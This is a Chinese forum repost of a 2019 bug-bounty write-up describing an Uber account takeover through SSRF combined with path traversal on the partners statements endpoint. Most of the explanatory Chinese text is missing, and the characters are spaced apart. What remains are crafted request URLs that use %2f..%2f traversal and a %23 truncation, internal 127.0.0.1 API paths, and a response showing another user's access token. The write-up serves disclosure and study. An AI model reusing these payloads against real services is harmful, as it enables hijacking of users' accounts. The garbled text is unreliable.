[14058] 2019-05-02_Uber服务端响应中的API调用缺陷导致的账户劫持

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2019-05-02_Uber服务端响应中的API调用缺陷导致的账户劫持 U b e r A P I c l o u d s   F r e e B u f   2 0 1 9 - 0 5 - 0 2 w r i t e u p R o n   C h a n   ( @ n g a l o n g c ) U b e r U b e r A P I S S R F P A t h   T r a v e r s a l t o k e n O l d   b u t   G O L D U b e r M i c r o s e r v i c e M i c r o s e r v i c e W e b W e b W e b A P I U b e r W e b R E S T U b e r U b e r R E S T   A P I U b e r R E S T   A P I h t t p s : / / l o c a l h o s t : 1 2 3 4 / p a r t n e r / P A R T N E R _ U U I D / t r i p s ? f r o m = 2 0 1 8 - 0 1 - 0 1 & t o = 2 0 1 9 - 0 1 - 0 1 W e b B a c k e n d I D O R A P I p a t h / v a r i a b l e s / h o s t W e b B a c k e n d A P I 2 0 1 8 U b e r p a r t n e r s . u b e r . c o m E n d p o i n t U b e r h t t p s : / / p a r t n e r s . u b e r . c o m / p 3 / m o n e y / s t a t e m e n t s / v i e w / c u r r e n t A P I   G E T h t t p : / / 1 2 7 . 0 . 0 . 1 : 1 2 3 / v 1 / p a r t n e r s / x x x x / s t a t e m e n t s / c u r r e n t ? e a r n i n g s _ s t r u c t u r e _ t y p e = & l o c a l e = e n & u s e r _ i d = x x x x R E S T   A P I A P I c u r r e n t h t t p s : / / p a r t n e r s . u b e r . c o m / p 3 / m o n e y / s t a t e m e n t s / v i e w / c u r r e n t c u r r e n t p a t h n a m e   / v 1 / p a r t n e r s / x x x x x / s t a t e m e n t s / c u r r e n t   e a r n i n g s _ s t r u c t u r e _ t y p e l o c a l e = e n 访 t o k e n   -   t o k e n : A C C E S S _ T O K E N _ O F _ U S E R U b e r t o k e n r e q u e s t   X - A u t h - T o k e n   访 t o k e n I D u s e r _ i d m y _ u s e r _ u u i d   I D v i c t i m _ i d v i c t i m _ u u i d {     " r e q u e s t " :   {         " u r i " :   {             " p r o t o c o l " :   " h t t p : " ,             " s l a s h e s " :   t r u e ,             " a u t h " :   n u l l ,             " h o s t " :   " 1 2 7 . 0 . 0 . 1 : 1 2 3 " ,             " p o r t " :   " 1 2 3 " ,             " h o s t n a m e " :   " 1 2 7 . 0 . 0 . 1 " ,             " h a s h " :   n u l l ,             " s e a r c h " :   " ? e a r n i n g s _ s t r u c t u r e _ t y p e = & l o c a l e = e n & u s e r _ i d = x x x x x " ,             " q u e r y " :   " e a r n i n g s _ s t r u c t u r e _ t y p e = & l o c a l e = e n & u s e r _ i d = x x x x x " ,             " p a t h n a m e " :   " / v 1 / p a r t n e r s / x x x x x / s t a t e m e n t s / c u r r e n t " ,             " p a t h " :   " / v 1 / p a r t n e r s / x x x x x x / s t a t e m e n t s / c u r r e n t ? e a r n i n g s _ s t r u c t u r e _ t y p e = & l o c a l e = e n & u s e r _ i d = x x x x x " ,             " h r e f " :   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 1 2 3 / v 1 / p a r t n e r s / x x x x x / s t a t e m e n t s / c u r r e n t ? e a r n i n g s _ s t r u c t u r e _ t y p e = & l o c a l e = e n & u s e r _ i d = x x x x x x "         } ,       " t o k e n " : " A C C E S S _ T O K E N _ O F _ U S E R " , . . . .
I D t o k e n t o k e n E n d p o i n t : G E T G E T   % 2 3     #   U R L G E T E n d p o i n t : h t t p s : / / p a r t n e r s . u b e r . c o m / p 3 / m o n e y / s t a t e m e n t s / v i e w / 4 c b 8 8 f b 1 - d 3 f a - 3 a 1 0 - e 3 b 5 - c e e f 8 c a 7 1 f a a U b e r A P I   G E T u u i d   -   4 c b 8 8 f b 1 - d 3 f a - 3 a 1 0 - e 3 b 5 - c e e f 8 c a 7 1 f a a A P I   G E T p a t h q u e r y E n d p o i n t h t t p s : / / p a r t n e r s . u b e r . c o m / p 3 / m o n e y / s t a t e m e n t s / v i e w / 4 c b 8 8 f b 1 - d 3 f a - 3 a 1 0 - e 3 b 5 - c e e f 8 c a 7 1 f a a % 2 f . . % 2 f 4 c b 8 8 f b 1 - d 3 f a - 3 a 1 0 - e 3 b 5 - c e e f 8 c a 7 1 f a a /   u r l % 2 f   . . /   . .   /   t o k e n A P I   # S S R F P A t h   T r a v e r s a l A P I   G E T h t t p : / / 1 2 7 . 0 . 0 . 1 : 1 2 3 / v 1 / p a r t n e r s / v i c t i m _ u u i d / s t a t e m e n t s / c u r r e n t ? e a r n i n g s _ s t r u c t u r e _ t y p e = & l o c a l e = e n & u s e r _ i d = v i c t i m _ u u i d h t t p : / / 1 2 7 . 0 . 0 . 1 : 1 2 3 / v 1 / s t a t e m e n t s / I N J E C T I O N _ H E R E ? e a r n i n g s _ s t r u c t u r e _ t y p e = & l o c a l e = e n & s t a t e m e n t _ u u i d = I N J E C T I O N _ H E R E & u s e r _ i d = y o u r _ u s e r _ i d A P I   G E T h t t p s : / / p a r t n e r s . u b e r . c o m / p 3 / m o n e y / s t a t e m e n t s / v i e w / 1 5 3 2 7 e f 1 - 2 a c c - e 4 6 8 - e 1 7 a - 5 7 6 a 7 d 1 2 3 1 2 % 2 f . . % 2 f . . % 2 f . . % 2 F v 1 % 2 F p a r t n e r s % 2 F V I C T I M _ U U I D % 2 F s t a t e m e n t s % 2 F c u r r e n t % 3 F e a r n i n g s _ s t r u c t u r e _ t y p e % 3 D % 2 6 l o c a l e % 3 D e n % 2 6 u s e r _ i d % 3 D V I C T I M _ U U I D % 2 3 A P I   G E T h t t p : / / 1 2 7 . 0 . 0 . 1 : 1 2 3 / v 1 / s t a t e m e n t s / 1 5 3 2 7 e f 1 - 2 a c c - e 4 6 8 - e 1 7 a - 5 7 6 a 7 d 1 2 3 1 2 / . . / . . / . . / v 1 / p a r t n e r s / V I C T I M _ U U I D / s t a t e m e n t s / c u r r e n t ? e a r n i n g s _ s t r u c t u r e _ t y p e = & l o c a l e = e n & u s e r _ i d = V I C T I M _ U U I D # t o k e n V I C T I M _ U U I D U U I D t o k e n R o n   C h a n   S S R F   +   P a t h   T r a n v e r s a l   =   A c c o u n t   T a k e o v e r U b e r $ 4 , 0 0 0 * R o n   C h a n c l o u d s F r e e B u f . C O M " h r e f " :   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 1 2 3 / v 1 / s t a t e m e n t s / 4 c b 8 8 f b 1 - d 3 f a - 3 a 1 0 - e 3 b 5 - c e e f 8 c a 7 1 f a a ? e a r n i n g s _ s t r u c t u r e _ t y p e = & l o c a l e = e n & s t a t e m e n t _ u u i d = 4 c b 8 8 f b 1 - d 3 f a - 3 a 1 0 - e 3 b 5 - c e e f 8 c a 7 1 f a a & u s e r _ i d = y o u r _ u s e r _ i d "

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则